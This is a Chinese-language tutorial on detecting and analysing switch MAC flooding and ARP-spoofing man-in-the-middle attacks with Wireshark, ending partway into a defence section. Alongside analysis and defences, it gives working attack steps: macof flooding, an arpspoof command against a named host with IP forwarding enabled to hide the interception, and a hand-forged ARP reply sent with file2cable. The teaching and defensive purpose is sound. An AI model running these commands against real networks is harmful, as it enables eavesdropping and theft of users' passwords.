面向安全数据包分析

网络安全是一个十分重要的话题,但是它同时也是一个十分复杂的问题。各种针对网络的攻击手段层出不穷,对于网络的守护者来说,将这些手段进行分类是一个十分棘手的工作。

网络安全是一个非常复杂的问题,所以我们按照TCP/IP分层的方式,对网络中的常见攻击行为进行了讲解。从分析“肉鸡”系统的各个方面,到涉及网络侦察、恶意的流量重定向、系统漏洞利用等。最后,我们将扮演一位入侵分析师,剖析来自入侵检测系统的警报流量。 

一、链路层网络安全

据统计,目前网络安全的问题有80%来自于“内部网络”,很多黑客也将攻击目标从单纯的计算机转到了网络结构和网络设计上来。因为链路层是内部网络通信最为重要的协议,而交换机正是这一层的典型设备,所以我们的讲解以交换机为例。但是相比起其他网络设备来说,交换机的防护措施往往也是最差的,因此也经常成为黑客攻击的目标。

1、针对交换机的常见攻击方式

首先我们先从一个真实的案例来看,下图展示了某个单位的网络结构。

面向安全数据包分析_第1张图片

这个网络在之前一直可以正常运行,但是在前些天很多用户突然发现网络速度变得十分缓慢,经过我们的检查没有发现线路方面的问题。但是我们发现每次重启交换机之后,网络速度就会恢复正常。而经过一段时间之后,网络速度就会再次变得缓慢。

到此为止,我们判断要么是交换机硬件本身出了故障,要么就是交换机遭到了攻击从而无法正常工作。为了解决这个问题,我们使用另一台交换机替换了原本的交换机,但是不久之后仍然出现了网络速度变慢的问题,所以我们基本确定交换机遭到了攻击。

交换机是一个工作在数据链路层的设备,它可以识别数据包中的MAC地址,但是无法识别出里面的IP地址。交换机中有一个包含了端口和硬件地址对应关系的CAM表,目前常见的攻击手段大都是针对CAM表的。下面列出了一些常见的攻击手段。

1. MAC地址欺骗攻击

由于交换机中的CAM表是动态更新的,所以攻击者往往可以通过各种手段对其进行操纵。一个攻击者就可以通过向交换机发送伪造的数据帧,从而实现对CAM表的修改。例如现在局域网中有两个主机,黑客使用的是主机硬件地址为22:22:22:22:22:22,连接到了FastEthernet0/1,而目标主机硬件地址为33:33:33:33:33:33,即FastEthernet0/2。

此时交换机中的CAM表的内容如下表所示:

黑客将数据包中的源MAC地址修改为33:33:33:33:33:33,然后发送到交换机,然后里面的CAM表就会显示如下表所示。 

面向安全数据包分析_第2张图片

这样一来,交换机就会认为目标主机在端口FastEthernet0/1,从而将所有的数据都发往FastEthernet0/1,黑客就可以截获所有属于目标计算机的通信。 

2. MAC地址泛洪攻击

交换机有两种工作方式,正常情况下,交换机会通过CAM表对数据包进行转发,如果CAM表不能工作时,交换机则会将数据包从全部端口转发出去。因此黑客可以利用工具在短时间制造大量的数据帧发送给交换机,从而导致CAM表爆满,这样交换机就会退化成集线器。

3. STP操纵攻击

交换机中另外一个隐患来源于生成树协议。STP的原理是按照树的结构来构造网络拓扑,消除网络中的环路,避免由于环路的存在而造成广播风暴问题。STP允许冗余,但是同时确保每一时刻只有一条链路是运行的,并且没有回路出现。由于STP协议中各交换设备是通过交换BPDU报文信息传播生成树信息,而黑客就可以通过发送伪造的BPDU报文,控制交换设备的端口转发状态,从而动态地改变网络拓扑结构,并将所有的网络流量劫持到本机。

4. 广播风暴攻击

由于以太网中的部分协议都是以广播形式工作的,例如地址解析协议(ARP)、动态主机配置协议(DHCP)等,因此交换机在正常情况下也需要对这些数据包进行广播。但是这些广播会占用主机资源和网络资源,但是在遭受黑客攻击时,就会导致广播在网段内被大量复制,占用大量的网络资源,网络性能下降,甚至网络瘫痪,这就是广播风暴攻击。

为了确定交换机受到了哪种威胁,我们决定在用户甲所使用的主机开始捕获数据包。并将捕获到的数据包保存为SwitchAttack.pcapng。然后对其进行分析以找出问题的所在。

2、使用Wireshark的统计功能分析针对交换机的攻击

在Wireshark中打开了pcapng文件,我们很快就在这里面发现了问题。在这个文件中开始很正常地出现了一些ARP数据包之后,从编号为83号的数据包出现了大量无论是源地址还是目的地址都不属于用户主机的数据包。

面向安全数据包分析_第3张图片

用户主机的IP地址为192.168.32.132,以第83个数据包为例,它却收到了由86.177.72.125发往198.194.117.13的数据包,这些数据包无论是源地址还是目的地址都不在本地网络的范围内。

我们又分别在其他用户的主机上进行了数据包捕获,结果发现了同样的问题。 

1. 统计功能

现在我们发现网络中出现了大量来历不明的数据包,可是到底出现了多少个数据包呢,这些数据包是否来自同一个源地址,或者发向同一个目的地址呢?如果手动地逐个计算的话,那么显然这是一个十分繁重的重复劳动。好在Wireshark中提供了极为强大的网络统计功能,利用这些功能我们可以对网络活动有一个宏观的了解。

这里我们将介绍Wireshark在统计方面提供的一些重要工具,它们都位于菜单栏“统计”选项的下拉菜单中。

面向安全数据包分析_第4张图片

当我们可以单击“捕获文件属性”来查看当前捕获文件的信息。这里面可以查看当前文件的名称、大小、格式、创建时间、经历时间、使用接口以及各种统计信息。 

面向安全数据包分析_第5张图片

另外,如果需要添加一些自定义信息的话,可以在下面的“捕获文件描述”文本框中输入自定义内容。例如我们希望记录该数据包文件的内容就可以输入注释,然后单击“保存注释”。 

现在我们已经了解了当前文件中包含了49915个数据包,可是这些数据包都属于哪些类型呢,这个问题我们可以利用统计菜单中的“协议分级”来解答,它以节点的形式展示了捕获到数据包中各种不同协议的统计信息。

面向安全数据包分析_第6张图片

这些协议之间存在包含关系,例如所有的数据包都需要有Frame层,所以Frame协议的数据包的数量49915就是全部捕获数据包的数量,显示按字节百分比的数量就是100(百分数)。而像IP协议可以为TCP和UDP两种不同的协议提供支持,所以看到IP协议类型的数据包总数为49825,其中TCP的有0个,UDP有一个。 

这个比例看起来很不正常,通常情况下我们在网络中看到的数据包大部分都应该是TCP和UDP,而在这个数据包文件中居然完全没有TCP和UDP协议的数据包,整整49915个数据包全都是单纯的IP数据包,并没有实现任何功能,也没有承载数据。因此它们很有可能都是攻击者恶意构造的数据包。

接下来,我们再来分析这些数据包的来源和目的,这里需要使用到统计功能的“对话”选项,它开始统计不同主机之间的通信信息。

尤其在我们在对服务器和设备之间的信息进行端对端的分析时,你就会发现这个功能特别有用。点击了“对话”按钮之后,就会打开“对话”会话窗口,这个窗口如下所示包含了多个选项卡,分别是Ethernet、IPv4、IPV6、TCP和UDP。在这个窗口的右下角有一个“Conversation类型”,在这个选项中还提供了多种常用的协议类型,我们可以通过对列出的协议进行选择来确定选项卡。

  • Ethernet选项卡:如图所示,这个选项卡后面的数字表示在这次数据捕获中出现硬件地址的数量,下面的内容是根据源主机和目的主机的硬件地址(MAC)来对捕获到的流量进行分类。默认情况下,所有的硬件地址会以“dc:fe:18:58:8c:3b”的形式显示。如果勾选了左下方的“解析名称”单选框,Wireshark就会将这种地址解析为更容易理解的“厂商品牌+扩展标识符”的形式,例如“Tp-Link_58:8c:3b”。如果勾选了这个选项之后却没有发生任何的变化,可能是因为在捕获过程中,菜单栏中“视图”→“解析名称”的子菜单中的“解析物理地址”没有被勾选上。

面向安全数据包分析_第7张图片

  • IPv4选项卡:根据源主机和目的主机的逻辑地址(IPv4)来对捕获到的流量进行分类。后面的数字表示在这次数据捕获中出现逻辑地址的数量。这个地址同样可以使用左下方的“解析名称”单选框。 

面向安全数据包分析_第8张图片

  • IPv6选项卡:根据逻辑地址(IPv6)来对捕获到的流量进行分类。
  • TCP选项卡和UDP选项卡:这两个选项卡中列出了设备之间的所有会话,这些会话基于通信的IP地址和端口的不同进行分类。需要注意的是,两台设备之间的通话可能有多个,这些通话就需要通过端口来区分。有了这两个选项卡可以轻松地查看捕获数据包中所有会话的数量、大小和持续时间。

从“Ethernet选项卡”中我们看到了在刚刚捕获到的文件中,在不到两分钟的时间里出现了49825个不同源地址和目的地址之间的会话,而且这些会话都只有一个数据包。这一点显然是极为不正常的,通常来说一个会话应该包含有多个数据包,这里我们更加确定了这些数据包是攻击者构造的恶意数据包。

除此之外,我们还发现了另外一个问题,就是在用户甲的计算机上居然可以接收到网络中其他用户与外界的通信。这表示当前交换机已经不能正常对数据包进行转发,而是在广播所有接收到的数据包。

经过分析之后,我们将发现的所有问题总结为如下3点:
(1)网络中出现了大量来历不明的数据包,这些数据包无论是源地址还是目的地址都不在该网络中。

(2)交换机不再对网络中的通信进行转发,而是将收到的通信进行广播,所有的主机上都能收到广播的数据包。

(3)所有的这些数据包的协议类型和长度都是相同的。 

根据以上几点分析,我们最后判断网络之所以变得缓慢,是因为交换机遭到了MAC地址泛洪攻击。 

2. MAC地址泛洪攻击

MAC地址泛洪攻击是一种针对交换机的攻击方式,目的是监听同一局域网中用户的通信数据。前面已经介绍过交换机的工作核心:端口-MAC地址映射表。这张表中记录了交换机每个端口和与之相连的主机MAC地址之间的对应关系。通常情况下,交换机的每个端口只会连接一台主机,因而在CAM表中每个端口只会对应一个MAC地址。

如果在这种一一对应的情况下,交换机就无需担心MAC地址泛洪攻击的,因为一台交换机只有几十个端口,这样整个CAM表中最多也只有几十个项。但是由于现在的交换机都使用了级联技术,也就是A交换机可以连接到另一个B交换机的级联端口上。这样在B交换机的级联端口上就会对应多台主机的MAC地址,从而在CAM表中产生大量的记录。

但是交换机的缓存有限,因此它的CAM表中能保存的内容也是有限的。而且连接到交换机上的设备也可能经常会更换,所以交换机无需永远记住所有的端口与MAC地址的对应关系。所以CAM表采用了动态的更新方式,表中的每一个记录都被设定了一个自动老化时间,如果某个MAC地址在一定时间(例如300秒)不再出现,那么交换机将自动把该MAC地址从地址表中清除。当该MAC地址再次出现时,将会被当作新地址处理,从而使交换机可以维护一个精确而有用的CAM地址表。交换机档次越低,交换机的缓存也就越小,能够记住的MAC地址数也就越少。

MAC泛洪攻击就是由攻击者通过工具产生大量的数据帧,这些数据帧中的源MAC地址都是伪造的,而且并且不断变化。因而交换机将在攻击主机所连接的端口上产生大量的MAC地址表条目,从而在短时间内将交换机的CAM地址表填满,直到再无法接收新的条目。

此时对于网络中那些事先没有在交换机的MAC地址表中留下记录的主机,它们之间的数据通信就会全部采用广播的方式进行,这样虽然并不影响数据的发送和接收,但此时的交换机实质上就是一台集线器,攻击者在网络中的任何一台主机上打开Wireshark,就可以监听到网络中的这些流量。

3. 找到攻击的源头

好了,现在我们已经确定了当前交换机遭到的是MAC泛洪攻击,攻击者发送这些数据包的目的就是用来填满交换机的CAM地址表。我们可以肯定这些数据包一定是来自于网络的内部,因为这些数据包的目的IP地址多种多样,不可能通过互联网路由到内部网络。

而这些数据包的源MAC地址和目的MAC都是伪造的,显然也无法以此来找出攻击者的位置。对于攻击的来源,可以从图中了解细节。

面向安全数据包分析_第9张图片

不过,好在我们拥有交换机的控制权,在本案例中使用的交换机为华为S3700。这款交换机提供了多种有用的功能,查看CAM映射表的命令为“display mac-address”。

执行这个命令的结果如图所示:

面向安全数据包分析_第10张图片

这个CAM映射表一共分成了7列,其中第1列“MAC Address”表示MAC地址,第5列“Port”表示交换机的端口。这里面可以看到在MAC Address列中有大量的硬件地址,而在Port列却只有Eth0/0/3一个端口。 

根据交换机的原理我们知道,当一个数据包进入到一个端口时,交换机就会将该数据包中的源地址和这个端口的编号写入CAM表。而现在的Port列却只有Eth0/0/3一个端口,这说明大量的不同源MAC地址的数据包进入到了交换机的Eth0/0/3(port 3)。而这些数据包又是攻击者恶意构造的,所以连接到Eth0/0/3的主机就是攻击的来源。

事实也正是如此,我们通过交换机端口的连接找到了发起攻击的计算机。这台计算机由于保护不善而被黑客远程控制,并被黑客利用来监听网络中的通信。

3、使用macof发起MAC地址泛洪攻击

现在我们已经了解了泛洪攻击的原理,那么你是不是很想知道黑客是如何发起这种攻击的呢,了解黑客的攻击过程可以帮助我们更好地对其防御,下面我们就来讲解一下攻击的过程。

这里我们需要使用到前面配置的“Basic_net.topo”,打开之后的网络结构如图所示。

接下来启动Kali Linux 2,在这个系统中已经内置了macof工具。利用这个工具我们可以轻松的发起一个MAC地址泛洪攻击。

在Kali Linux2中启动一个命令行,然后在里面启动macof,使用参数?可以查看这个工具的使用方法。 

最简单的方法就是直接输入macof,由于华为S3700的CAM表很大,所以需要同时开启多个macof,这样才可以快速将CAM表填满。 

交换机在遭到了攻击之后,内部的CAM表很快就被填满了。交换机退化成集线器,会将收到的数据包全部广播出去,从而无法正常向局域网提供转发功能。 

4、如何防御MAC地址泛洪攻击

根据我们上面的分析可以得出,虽然攻击者可以伪造出大量的数据包来攻击交换机,但是由于攻击者的数据包只能从交换机的某一个端口进入,所以我们可以限制每一个端口对应的MAC地址数量即可。

目前的交换机大都提供了这种功能,我们仍然以ENSP中的华为S3700交换机为例。在上例中我们已经发现了所有的流量都来自于交换机的Ethernet0/0/3端口,那么我们就可以在这个端口上进行设置,保证该端口最多可以学习8个mac地址,在交换机中进行配置的命令如下:

[Huawei-Ethernet0/0/3]port-security enable
[Huawei-Ethernet0/0/3]port-security mac-address sticky
[Huawei-Ethernet0/0/3]port-security protect-action protect
[Huawei-Ethernet0/0/3]port-security max-mac-num 8

完成这个配置之后,我们再次在Kali Linux 2系统中启动macof进行攻击。攻击进行一段时间之后,我们在交换机中使用display mac-address命令来查看它的CAM表。

面向安全数据包分析_第11张图片

可以看到虽然攻击者依然产生了大量的数据包,但是依然只占用了CAM表中的8项,因而永远无法达到填满整个CAM表的目的。

二、网络层网络安全

1、中间人攻击(NITM)

中间人攻击又被简称为NITM攻击,这是一种很有意思的攻击方式。攻击者会把自己的设备放置在网络连接的两台设备中间,以此来监听它们之间的通信,当然这个中间位置是逻辑上的而不是物理位置。攻击者就像是一个间谍,它不断从一个设备接收信息,解读之后再转发给另一个设备。在这个过程中两个设备之间的通信并没有中断,因此它们完全不会发觉多了一个“中间人”。

吴翰清在进入阿里巴巴之后的很快就通过网络嗅探获得了开发总监的邮箱密码。这里面提到的网络嗅探正是利用了中间人攻击技术,这种技术是最受黑客欢迎的技术,因为它极为简单高效。

前面我们介绍TCP/IP协议族模型中第一层的攻击方法,而这种中间人攻击技术就是利用了模型第二层ARP协议(也有人认为ARP协议属于TCP/IP协议族模型的第一层)的缺陷。

1. 中间人攻击的相关理论

之前我们找到了某单位网络变慢的原因。不过该单位的网络在平静了一段时间之后却又出现了新的问题,多个用户反映自己的密码被盗。我们通过调查发现,这些被盗的密码属于多种不同的应用,其中既有购物网站,也有电子邮箱,甚至还有该单位用于上传下载文件的FTP。考虑到受害的用户数量众多,而且这些密码又都分属于不同的应用,所以被钓鱼网站欺骗的可能性较小。我们初步认为这有可能是由于网络内部遭到了中间人攻击造成的。

中间人攻击的目标并不是交换机,而是终端设备(例如计算机、手机等)。在每一台终端设备中都有一个ARP缓存表,这个表中保存了一些IP地址和MAC地址之间的对应关系。通常应用程序只能通过IP地址进行通信,但是在内部网络中使用的交换机却不能识别IP地址。因此每一台终端设备在发送应用程序产生的数据包时,必须在它里面添加上一个MAC地址。而这个MAC地址是哪里来的呢?

1)ARP协议的相关理论

互联网可以看作是无数局域网的集合,我们以自身所处的局域网为例。每当我们要向外部发送一个数据包的时候,需要首先判断这个数据包是否是发往局域网外部的,这一点可以通过子网掩码和本机的IP地址进行计算,如果是发往本机所在局域网内的主机,那么将数据包直接交给目标主机。如果是发往局域网外部的数据包则需要交给网关,再由网关进行转发。

数据包在局域网内部是无法使用IP地址进行通信的,因为局域网中的连接设备只能识别MAC(硬件)。但是应用程序发出的数据包中往往只包含了目标的IP地址,此时就需要由ARP程序来找到数据包目的IP地址对应的MAC地址。

在每一台计算机中都存在有一个ARP缓存表,这个表动态地保存了一些IP地址和MAC地址的对应关系。当计算机接收到一个数据包之后,就会通过ARP程序在这个表中查找包中IP地址所对应的表项,然后根据这个表项在数据包中再添加MAC地址。

如果没有在缓存表中找到对应的表项,ARP程序就会在局域网中进行广播,询问网络中是否存在这样一个IP地址。如果局域网中有计算机使用了这个IP地址,那么它就会回应一个包含了自己MAC地址的信息,这样计算机就可以将这个信息添加到自己的ARP缓存中,并将这个数据包填写好目的MAC地址发送输出。

如果想要更好地了解这个过程,我们可以按照如下步骤进行操作(假设你使用的是一个Windows操作系统的主机)。

(1)查看本机的各种信息,例如硬件地址、IP地址、子网掩码和网关地址。在Windows系统中,可以打开一个cmd命令行,然后在里面输入命令"ipconfig/all"。

面向安全数据包分析_第12张图片

(2)启动Wireshark,并在主界面中选中要使用的网卡。 

(3)使用Wireshark开始捕获数据包,将“arp”作为过滤器。 

面向安全数据包分析_第13张图片

(4)当捕获开始之后,我们可以使用“arp-a”命令来查看ARP缓存中的内容。在这个ARP缓存表中,我们可以看到网关主机192.168.1.1的硬件地址。 

面向安全数据包分析_第14张图片

(5)如图所示,使用“arp-d”命令来清除ARP缓存中的内容。这样做的目的是观察ARP协议的请求和应答过程。如果ARP缓存中已经存在了网关的条目,那么就不会发生这个请求和应答过程了。 

面向安全数据包分析_第15张图片

(6)清空了ARP缓存之后,我们再使用浏览器打开一个页面,这时我们的主机就会在局域网中发送一个ARP请求。 

(7)停止数据包的捕获。

(8)由于捕获到了大量与本机无关的ARP数据包,因此这里面我们使用一个更为详细的过滤器。在第一步中已经知道了本机的硬件地址为“4c-cc-6a-62-4e-29”,我们以此来建立一个显示过滤器“eth.addr==4c-cc-6a-62-4e-29 and arp”。 

(9)应用显示过滤器之后,可以看到数据包列表面板中包含两种类型的数据包,分别是ARP请求和ARP应答。ARP请求的内容是“Who has 192.168.1.1?Tell 192.168.1.104”,这里面的192.168.1.1是网关的地址,192.168.1.104是本机的地址。选择这个数据帧,然后在数据包信息面板中查看其中的信息,如图所示。 

面向安全数据包分析_第16张图片

  • ARP请求数据帧中的前面4项硬件类型(Hardware type)、协议类型(Protocol type)、硬件地址长度(Hardware size)、协议地址长度(Protocol size)是固定的。
  • Opcode用来表明这个ARP数据帧的类型,这个值为1表示这是一个请求,为2表示这是一个应答。
  • Sender MAC address表示发送方的硬件地址,Sender IP address表示发送方的IP地址。
  • Target MAC address表示目标的硬件地址,但是此时发送方是并不知道这个地址的,所以只能将这个值设置为00:00:00:00:00:00,表示将这个数据包发送给整个局域网的全部主机。
  • Target IP address表示目标的IP地址,发送方希望这个IP地址的主机回答自己的硬件地址。

接着,我们选择下面的这个数据帧,这是一个ARP应答,ARP应答的内容是“192.168.1.1 is at dc:fe:18:58:8c:3b”,如图所示。 

面向安全数据包分析_第17张图片

  • ARP应答数据帧中的前面4项硬件类型(Hardware type)、协议类型(Protocol type)、硬件地址长度(Hardware size)、协议地址长度(Protocol size)是固定的。
  • Opcode的值为2,用来表明这个ARP数据帧的类型为应答。
  • Sender MAC address表示应答方的硬件地址,Sender IP address表示应答方的IP地址。
  • Target MAC address中填写请求方的硬件地址,在我们这个例子中为4c-cc-6a-62-4e-29。
  • Target IP address表示请求方的IP地址。

现在我们回来总结ARP的工作流程,ARP协议的数据包使用数据帧的形式进行封装。当一台主机希望取得某个IP地址对应的硬件地址时,就会广播一个请求,目标是本地局域网中的所有计算机。具体的做法就是将目的以太网地址设置为00:00:00:00:00:00,这样目标接收到这个请求后,就会返回一个应答。而局域网中的其他计算机在接收到这个请求之后,虽然明白这个请求不是发给自己的,但也会将里面的Sender MAC address和Sender IP address写入自己的ARP缓存中。

下面列出了一些在对ARP进行分析时极为有用的Wireshark过滤器:

  • 最简单的ARP过滤器就是“arp”。
  • 如果希望得到ARP的请求,可以使用“arp.opcode==0x0001”。
  • 如果希望得到ARP的应答,可以使用“arp.opcode==0x0002”。
  • 如果希望获得源地址或者目的地址为dc:fe:18:58:8c:3b的数据帧,可以使用:
arp.src.hw_mac==dc:fe:18:58:8c:3b

上面的几个显示过滤器也可以组合起来使用,如果只希望查看来自“dc:fe:18:58:8c:3b”的请求可以使用:

arp.src.hw_mac==dc:fe:18:58:8c:3b&&arp.opcode==0x0001 

2)ARP欺骗的原理

ARP协议简单高效,但是这个协议存在一个重大的缺陷,就是这个过程并没任何的认证机制,也就是说如果一台主机收到ARP请求数据包,形如“注意了,我的IP地址是192.168.1.100,我的物理地址是22:22:22:22:22:22,IP地址192.168.1.2在吗,我需要和你进行通信,请告诉我你的物理地址,收到请回答!”的数据包,但并没有对这个数据包进行任何真伪的判断,无论这个数据包是否真的来自192.168.1.100,都会将其添加到ARP表中。因此黑客就可能会利用这个漏洞来冒充网关等主机。

2. 使用Wireshark的专家系统分析中间人攻击

在这个网络中所有的主机地址都是192.168.169.0/24,网关地址为192.168.169.2。我们在这个网络中任选了一台主机进行数据包捕获,在收集一段时间数据之后,将这些数据包保存为lecture10.pcang。

然后我们打开这个文件开始对其进行分析,文件内容如图所示。

面向安全数据包分析_第18张图片

这个数据包文件中前面的部分都是一些交换机产生的STP数据包,这里并没有发现问题。可是从第13个数据包开始,我们发现几乎所有的数据包都是ARP数据包。这一点就很不正常,因为通过前面的介绍我们已经了解了ARP的工作流程,通常一个主机在建立一个连接时,只需要发送一个ARP请求,收到一个ARP应答。这也就表示只需要两个ARP数据包就可以完成。

如果同时出现了大量的ARP数据包,通常是由以下3种情况造成的:

  • 有攻击者在利用ARP请求对网络主机进行扫描。
  • 有计算机感染了ARP病毒并在破坏网络的通信。
  • 有攻击者在利用ARP欺骗在发动中间人攻击。

结合前面的客户的反映来看,显然是有攻击者在利用ARP欺骗在发动中间人攻击的这种可能性是最大的。但是我们仍然需要对其进一步进行分析,找出更确切的证据。

这里我们要使用Wireshark中的一个强大的智能功能——专家系统。其实在上面的数据包文件中,不仅仅是我们发现了问题,Wireshark也同样发现了问题。而且Wireshark比起我们来说拥有更大的优势,因为它的处理速度远不是手工可以相比的。

当Wireshark在数据包文件中发现了问题之后,就会在左下角显示一个圆形按钮,根据问题严重性的不同,这个按钮的颜色也不同。 

面向安全数据包分析_第19张图片

点击圆形按钮之后就会弹出Wireshark的专家系统窗口,在这个窗口中我们看到这里有一个黄颜色的Warning,里面分成了5列,分别为Packet(类型)、Summary(说明)、Group(组)、Protocol(协议类型)、Count(数量)。 

面向安全数据包分析_第20张图片

Wireshark就会给出一个警告,这个警告表示发现了有重复的IP地址。信息“Duplicate IP address configured (192.168.169.134)”是通知我们192.168.169.134与另外的一个IP地址使用了同一个MAC地址。这里列出的数据包来自攻击者发出的ARP应答。使用鼠标点击这个Warning,就可以看到所有包含这个警告的数据包。 

面向安全数据包分析_第21张图片

Wireshark的专家系统在提醒我们,现在192.168.169.2和192.168.169.134所对应的硬件地址是相同的,都是00:0c:29:23:1e:f4。回到数据包列表面板处,我们还可以看到下图所示的情形。 

这里的ARP数据包都是成对出现的,先是第12个数据包声明192.168.169.2的MAC地址是00:0c:29:23:1e:f4,接着第13个数据包又声明192.168.169.134的MAC地址是00:0c:29:23:1e:f4。这说明00:0c:29:23:1e:f4主机在同时冒充192.168.169.2和192.168.169.134,这是在进行双向欺骗。在13个数据包后面提示了跟专家系统中一样的警告。

由此我们可以得出最后的结论,网络中MAC地址是00:0c:29:23:1e:f4此时正在进行中间人攻击,它已经在计算机192.168.169.134和网关192.168.169.2之间充当了中间人,从而监听了所有192.168.169.134和外部的通信,自然也获取了使用192.168.169.134主机用户的密码。

我们已经在Wireshark的专家系统帮助下找到问题的所在了,那么不妨再来了解一下Wireshark专家系统,这对于日后的操作有很大的帮助。
Wireshark中的专家系统信息保存在解析器中,专家信息将网络中不正常的数据包分成如下的4种。

  • Errors:数据包或者解析器错误,用红色表示。
  • Warnings:来自application/transport的异常响应,用黄色表示。
  • Notes:来自application/transport的异常响应,用浅蓝色表示。
  • Chats:关于工作流的信息,用蓝色表示。

在数据包捕获过程中,位于状态栏的左部的专家系统按钮是不可用的,只有当结束捕获状态之后,专家系统按钮才可以使用,如图所示。 

通过单击这个圆形按钮就可以打开专家系统。

如图所示,在专家系统窗口中会显示出各种专家信息数据包,在右下方的显示按钮上单击,可以看到一个过滤器,这里可以将你不感兴趣的数据包去掉。

面向安全数据包分析_第22张图片

本例中使用专家系统检查了ARP协议的问题,但是目前的专家系统主要用来解决TCP的通信故障问题。在之后的版本中,Wireshark可能会扩展专家系统的功能。虽然专家系统十分有用,但是在实际工作中我们却不能过度地依赖它,往往还需要进一步验证。 

3. 发起中间人攻击

正所谓“知己知彼,百战百胜”,前面我们刚刚利用Wireshark的专家系统分析了一个中间人攻击的实例。接下来我们来了解一下这种攻击是如何实现的。

1)使用arpspoof来发起攻击

现在我们就来演示一次ARP欺骗的过程,这次欺骗中实现了对目标主机与外部通信的监听。

在实例中,我们所使用的的主机Kali Linux 2中的网络配置如下所示:

  • IP地址:192.168.169.130
  • 硬件地址:00:0c:29:12:dd:23
  • 网关:192.168.169.2

而我们要欺骗的目标主机的网络配置如下所示:

  • IP地址:192.168.169.133
  • 硬件地址:00:0c:29:2D:7F:89
  • 网关:192.168.169.2

网关的信息如下所示。

  • IP地址:192.168.169.2
  • 硬件地址:00:50:56:f5:3e:bb

在正常情况下,我们先来看一下目标主机的ARP表。

这时的目标主机没有受到任何攻击,所以里面的ARP表示正确的,当目标主机上程序要通信的时候,例如访问一个外网地址“www.163.com”的时候,这个时候会首先将数据包交给网关,再由网关通过各种路由协议送到“www.163.com”处。

这个网络中设置的网关地址为192.168.169.2,按照ARP表中的对应硬件地址为00:50:56:f5:3e:bb,这样所有的数据包都发往这个硬件地址了。

现在我们只需要想办法将目标主机的ARP表中的192.168.169.2表项修改了即可,修改的方法很简单,因为ARP协议中规定,主机只要收到一个ARP请求之后,不会去判断这个请求的真伪,就会直接将请求中的IP地址和硬件地址添加到ARP表中。如果之前有了相同IP地址的表项,就对其修改,这种方式被称为动态ARP表。

我们使用一种工具来演示这个实例。在Kali Linux 2中提供了很多可以实现网络欺骗的工具,我们以其中最为典型的arpspoof来演示一下,首先在Kali Linux 2中打开一个终端,输入“arpspoof”就可以启动这个工具。

这个工具的使用格式为:

arpspoof[-i指定使用的网卡][-t要欺骗的目标主机][-r]要伪装成的主机

现在我们的主机IP地址为192.168.169.130,要欺骗的目标主机IP地址为192.168.169.133。现在这个网络的网关是192.168.169.2,所有主机与外部的通信都是通过这一台主机完成的,所以我们只需要伪装成网关,就可以截获到所有的数据。

那么我们现在的实验中所涉及的主机包括以下各项:

  • 攻击者:192.168.169.130
  • 被欺骗主机:192.168.169.133
  • 默认网关:192.168.169.2

下面就使用arpspoof来完成一次网络欺骗:

root@kali:~# arpspoof -i eth0 -t 192.168.169.133 192.168.169.2

执行的过程如图所示:

面向安全数据包分析_第23张图片

现在受到欺骗的主机192.168.169.133就会把192.168.169.130当作是网关,从而把所有的数据都发送到这个主机,我们在主机192.168.169.133上查看Arp表就可以看到,此时192.168.169.2与192.168.169.130的mac地址是相同的。 

面向安全数据包分析_第24张图片

现在arpspoof完成了对目标主机的欺骗任务,可以截获到目标主机发往网关的数据包。但是这里有两个问题,首先arpspoof仅仅是会截获这些数据包,并不能查看这些数据包,所以我们还需要使用专门查看数据包的工具,例如现在在Kali Linux 2中打开Wireshark,就可以看到由192.168.169.133所发送的数据包了。

面向安全数据包分析_第25张图片

但是我们的主机也不会再将这些数据包转发到网关,这样将会导致目标主机无法正常上网,所以我们需要在主机上开启转发功能。打开一个终端,开启的方法如下所示:

root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward

这样我们就可以将截获到的数据包再转发出去,被欺骗的主机就仍然可以正常上网,从而无法察觉受到了攻击。 

2)使用Wireshark来发起攻击

虽然ARPspoof是一个非常简单实用的工具,但是它却隐藏了攻击实现的细节。那么现在我们换到黑客的角度来思考问题,看看他们是如何利用Wireshark的。要知道Wireshark不仅仅是网络维护者的工具,同样也是黑客手中的强大利器。现在我们就来模拟一下黑客是如何使用Wireshark来发起ARP欺骗的。

我们在Kali Linux 2虚拟机中首先使用“arp-d”清除掉ARP表中的内容,然后启动Wireshark进行数据包捕获。将显示过滤器设置为“arp.opcode==0x0002”来捕获ARP应答(ARP reply)。单击任意一个找到的数据包,数据包详细信息面板中显示的内容如图所示。

我们的思路很简单,将这里的Sender MAC address字段的内容修改为主机的MAC地址,将Sender IP address字段的内容修改为要冒充的主机的IP地址。然后将这个数据包发送出去。但是这仅仅依靠Wireshark实现不了的,因为Wireshark没有修改和发送数据包的功能。

所以这里我们就在这个数据包信息面板中单击鼠标右键,然后选中“Export Selected Packet Bytes”,将其保存为一个文件,这里起名为ArpSpoof。

接下来我们使用一个编辑器(任意类型的16位编辑器都可以)打开这个ArpSpoof,然后将里面的54:89:98:2e:66:25替换成为我们主机的Mac地址,将192.168.169.134替换为网关的地址,最后将其仍然保存为ArpSpoof。

Kali Linux 2中提供了一个可以专门用来将文件以数据包发送出去的工具file2cable,我们使用这个工具将刚刚修改好的ArpSpoof发送出去,发送的命令为:

root@kali:~# file2cable -i eth0 -f ArpSpoof

好了,这样我们就完成了一次ARP欺骗攻击。是不是很简单?后面我们将介绍一些ARP欺骗的防御机制。 

4. 如何防御中间人攻击

目前防御中间人攻击的方法很多,下面介绍了几种比较典型的手段。

1)静态绑定ARP表项

因为ARP表中的内容是动态更新的,每当设备接收到ARP数据包时就会修改里面的表项,所以攻击者才可以随心所欲地篡改被害者设备的ARP表。

例如下图中箭头指向的“dynamic”就表示这里面的表项为动态的。

面向安全数据包分析_第26张图片

不过,在ARP表中除了这种动态表项之外,还有一种不会被修改的静态表项类型“static”。考虑到中间人攻击时通常篡改的都是网关的地址,所以我们需要将其IP地址和MAC地址绑定。

绑定的命令为:

arp -s 网关的IP地址网关的MAC地址

另外,交换机上也提供了端口安全机制,我们可以进行设置,将端口和设备的Mac地址绑定。这里以华为的设备为例,配置过程如下所示。

在配置模式中配置一个端口绑定的MAC地址和IP地址:

user-bind mac-addr mac-address ip-addr ip-address interface interface-list

经过这个设置之后,只有硬件地址为mac-address,IP地址为ip-address的数据包才可以通过这个端口来使用网络。不过这个方法并不适合大型网络,因为配置起来工作量过大。 

2)使用DHCP Snooping功能

